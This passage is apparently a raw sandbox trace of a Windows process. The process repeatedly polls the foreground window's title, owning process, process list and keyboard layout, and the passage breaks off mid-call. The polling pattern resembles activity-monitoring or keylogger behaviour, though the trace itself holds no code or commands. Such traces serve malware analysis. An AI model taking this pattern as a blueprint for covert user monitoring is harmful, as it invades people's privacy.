EnumProcesses (in: lpidProcess=0x24a3f50, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24a3f50, lpcbNeeded=0x4f8f87c) returned 1 [0204.808] GetLastError () returned 0x0 [0204.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8e28) returned 0x0 [0204.811] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0204.811] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.871] GetForegroundWindow () returned 0x101a2 [0204.871] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.933] GetForegroundWindow () returned 0x101a2 [0204.933] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0204.995] GetForegroundWindow () returned 0x101a2 [0204.995] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.321] GetForegroundWindow () returned 0x100f6 [0206.321] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0206.383] GetForegroundWindow () returned 0x101a2 [0206.383] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0206.383] EnumProcesses (in: lpidProcess=0x23978b8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23978b8, lpcbNeeded=0x4f8f87c) returned 1 [0206.384] GetLastError () returned 0x0 [0206.385] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ca8) returned 0x0 [0206.389] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0206.389] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.445] GetForegroundWindow () returned 0x101a2 [0206.446] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.508] GetForegroundWindow () returned 0x101a2 [0206.508] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.572] GetForegroundWindow () returned 0x101a2 [0206.572] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.634] GetForegroundWindow () returned 0x100f6 [0206.634] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0206.634] EnumProcesses (in: lpidProcess=0x23a96d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a96d8, lpcbNeeded=0x4f8f87c) returned 1 [0206.634] GetLastError () returned 0x0 [0206.635] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0206.641] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0206.641] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0206.695] GetForegroundWindow () returned 0x101a2 [0206.695] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0206.695] EnumProcesses (in: lpidProcess=0x23bac84, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bac84, lpcbNeeded=0x4f8f87c) returned 1 [0206.695] GetLastError () returned 0x0 [0206.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0206.699] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0206.699] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.758] GetForegroundWindow () returned 0x101a2 [0206.758] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.820] GetForegroundWindow () returned 0x101a2 [0206.820] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.882] GetForegroundWindow () returned 0x101a2 [0206.882] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0206.945] GetForegroundWindow () returned 0x100f6 [0206.945] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0206.945] EnumProcesses (in: lpidProcess=0x23cca38, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cca38, lpcbNeeded=0x4f8f87c) returned 1 [0206.945] GetLastError () returned 0x0 [0206.946] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0206.950] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0206.950] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0207.007] GetForegroundWindow () returned 0x101a2 [0207.007] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0207.007] EnumProcesses (in: lpidProcess=0x23ddfe4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ddfe4, lpcbNeeded=0x4f8f87c) returned 1 [0207.008] GetLastError () returned 0x0 [0207.008] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.011] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0207.011] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.069] GetForegroundWindow () returned 0x101a2 [0207.069] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.132] GetForegroundWindow () returned 0x101a2 [0207.132] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.194] GetForegroundWindow () returned 0x101a2 [0207.194] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.257] GetForegroundWindow () returned 0x100f6 [0207.257] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0207.257] EnumProcesses (in: lpidProcess=0x23efdec, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23efdec, lpcbNeeded=0x4f8f87c) returned 1 [0207.257] GetLastError () returned 0x0 [0207.258] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.261] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0207.261] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0207.319] GetForegroundWindow () returned 0x101a2 [0207.319] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0207.319] EnumProcesses (in: lpidProcess=0x2401398, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2401398, lpcbNeeded=0x4f8f87c) returned 1 [0207.319] GetLastError () returned 0x0 [0207.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.323] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0207.323] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.382] GetForegroundWindow () returned 0x101a2 [0207.383] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.445] GetForegroundWindow () returned 0x101a2 [0207.445] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.506] GetForegroundWindow () returned 0x101a2 [0207.506] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.569] GetForegroundWindow () returned 0x100f6 [0207.569] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0207.569] EnumProcesses (in: lpidProcess=0x241314c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x241314c, lpcbNeeded=0x4f8f87c) returned 1 [0207.569] GetLastError () returned 0x0 [0207.570] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.574] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0207.574] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0207.634] GetForegroundWindow () returned 0x101a2 [0207.634] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0207.634] EnumProcesses (in: lpidProcess=0x24246f8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24246f8, lpcbNeeded=0x4f8f87c) returned 1 [0207.635] GetLastError () returned 0x0 [0207.636] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.641] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0207.641] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.693] GetForegroundWindow () returned 0x101a2 [0207.694] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.756] GetForegroundWindow () returned 0x101a2 [0207.756] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.818] GetForegroundWindow () returned 0x101a2 [0207.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0207.881] GetForegroundWindow () returned 0x100f6 [0207.881] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0207.881] EnumProcesses (in: lpidProcess=0x24364ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24364ac, lpcbNeeded=0x4f8f87c) returned 1 [0207.881] GetLastError () returned 0x0 [0207.882] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.885] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0207.885] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0207.943] GetForegroundWindow () returned 0x101a2 [0207.943] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0207.943] EnumProcesses (in: lpidProcess=0x2447a58, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2447a58, lpcbNeeded=0x4f8f87c) returned 1 [0207.943] GetLastError () returned 0x0 [0207.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0207.947] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0207.947] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.006] GetForegroundWindow () returned 0x101a2 [0208.006] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.068] GetForegroundWindow () returned 0x101a2 [0208.068] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.130] GetForegroundWindow () returned 0x101a2 [0208.130] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.193] GetForegroundWindow () returned 0x100f6 [0208.193] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0208.193] EnumProcesses (in: lpidProcess=0x2459860, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2459860, lpcbNeeded=0x4f8f87c) returned 1 [0208.193] GetLastError () returned 0x0 [0208.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.197] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0208.197] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0208.256] GetForegroundWindow () returned 0x101a2 [0208.256] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0208.256] EnumProcesses (in: lpidProcess=0x246ae0c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246ae0c, lpcbNeeded=0x4f8f87c) returned 1 [0208.256] GetLastError () returned 0x0 [0208.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.261] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0208.261] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.318] GetForegroundWindow () returned 0x101a2 [0208.318] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.380] GetForegroundWindow () returned 0x101a2 [0208.380] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.442] GetForegroundWindow () returned 0x101a2 [0208.442] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.505] GetForegroundWindow () returned 0x100f6 [0208.505] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0208.505] EnumProcesses (in: lpidProcess=0x247cbc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247cbc0, lpcbNeeded=0x4f8f87c) returned 1 [0208.505] GetLastError () returned 0x0 [0208.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.509] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0208.509] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0208.567] GetForegroundWindow () returned 0x101a2 [0208.567] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0208.567] EnumProcesses (in: lpidProcess=0x248e16c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248e16c, lpcbNeeded=0x4f8f87c) returned 1 [0208.568] GetLastError () returned 0x0 [0208.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.573] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0208.573] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.630] GetForegroundWindow () returned 0x101a2 [0208.630] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.692] GetForegroundWindow () returned 0x101a2 [0208.692] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.754] GetForegroundWindow () returned 0x101a2 [0208.754] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.817] GetForegroundWindow () returned 0x100f6 [0208.817] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0208.817] EnumProcesses (in: lpidProcess=0x249ff20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249ff20, lpcbNeeded=0x4f8f87c) returned 1 [0208.818] GetLastError () returned 0x0 [0208.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.822] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0208.822] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0208.879] GetForegroundWindow () returned 0x101a2 [0208.879] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0208.879] EnumProcesses (in: lpidProcess=0x24b14cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b14cc, lpcbNeeded=0x4f8f87c) returned 1 [0208.880] GetLastError () returned 0x0 [0208.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30a0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30a0, ResultLength=0x4f8f840*=0x8c68) returned 0x0 [0208.884] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0208.884] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0208.942] GetForegroundWindow () returned 0x101a2 [0208.942] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.004] GetForegroundWindow () returned 0x101a2 [0209.004] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.066] GetForegroundWindow () returned 0x101a2 [0209.066] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.129] GetForegroundWindow () returned 0x100f6 [0209.129] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0209.129] EnumProcesses (in: lpidProcess=0x24c3744, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c3744, lpcbNeeded=0x4f8f87c) returned 1 [0209.129] GetLastError () returned 0x0 [0209.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30c0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30c0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.132] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0209.132] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0209.193] GetForegroundWindow () returned 0x101a2 [0209.193] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0209.193] EnumProcesses (in: lpidProcess=0x24d4cd8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d4cd8, lpcbNeeded=0x4f8f87c) returned 1 [0209.194] GetLastError () returned 0x0 [0209.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30e0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30e0, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.197] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0209.197] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.254] GetForegroundWindow () returned 0x101a2 [0209.254] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.316] GetForegroundWindow () returned 0x101a2 [0209.316] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.378] GetForegroundWindow () returned 0x101a2 [0209.378] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.441] GetForegroundWindow () returned 0x100f6 [0209.441] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0209.441] EnumProcesses (in: lpidProcess=0x24e6a20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e6a20, lpcbNeeded=0x4f8f87c) returned 1 [0209.441] GetLastError () returned 0x0 [0209.442] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603100, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603100, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.445] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0209.445] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0209.503] GetForegroundWindow () returned 0x101a2 [0209.503] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0209.503] EnumProcesses (in: lpidProcess=0x24f7f60, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f7f60, lpcbNeeded=0x4f8f87c) returned 1 [0209.504] GetLastError () returned 0x0 [0209.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623120, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623120, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.507] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0209.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.565] GetForegroundWindow () returned 0x101a2 [0209.566] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.628] GetForegroundWindow () returned 0x101a2 [0209.628] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.690] GetForegroundWindow () returned 0x101a2 [0209.690] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.753] GetForegroundWindow () returned 0x100f6 [0209.753] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0209.753] EnumProcesses (in: lpidProcess=0x2509ca8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2509ca8, lpcbNeeded=0x4f8f87c) returned 1 [0209.754] GetLastError () returned 0x0 [0209.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3643140, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3643140, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.758] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0209.759] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0209.816] GetForegroundWindow () returned 0x101a2 [0209.816] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0209.816] EnumProcesses (in: lpidProcess=0x251b1e8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x251b1e8, lpcbNeeded=0x4f8f87c) returned 1 [0209.816] GetLastError () returned 0x0 [0209.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0209.834] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0209.834] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.903] GetForegroundWindow () returned 0x101a2 [0209.903] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0209.957] GetForegroundWindow () returned 0x101a2 [0209.957] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.018] GetForegroundWindow () returned 0x101a2 [0210.018] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.081] GetForegroundWindow () returned 0x100f6 [0210.081] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0210.081] EnumProcesses (in: lpidProcess=0x2384f10, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384f10, lpcbNeeded=0x4f8f87c) returned 1 [0210.082] GetLastError () returned 0x0 [0210.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0210.087] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0210.087] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0210.182] GetForegroundWindow () returned 0x101a2 [0210.182] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0210.182] EnumProcesses (in: lpidProcess=0x2396450, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396450, lpcbNeeded=0x4f8f87c) returned 1 [0210.183] GetLastError () returned 0x0 [0210.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8c28) returned 0x0 [0210.187] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0210.187] GetWindowTextW (in: 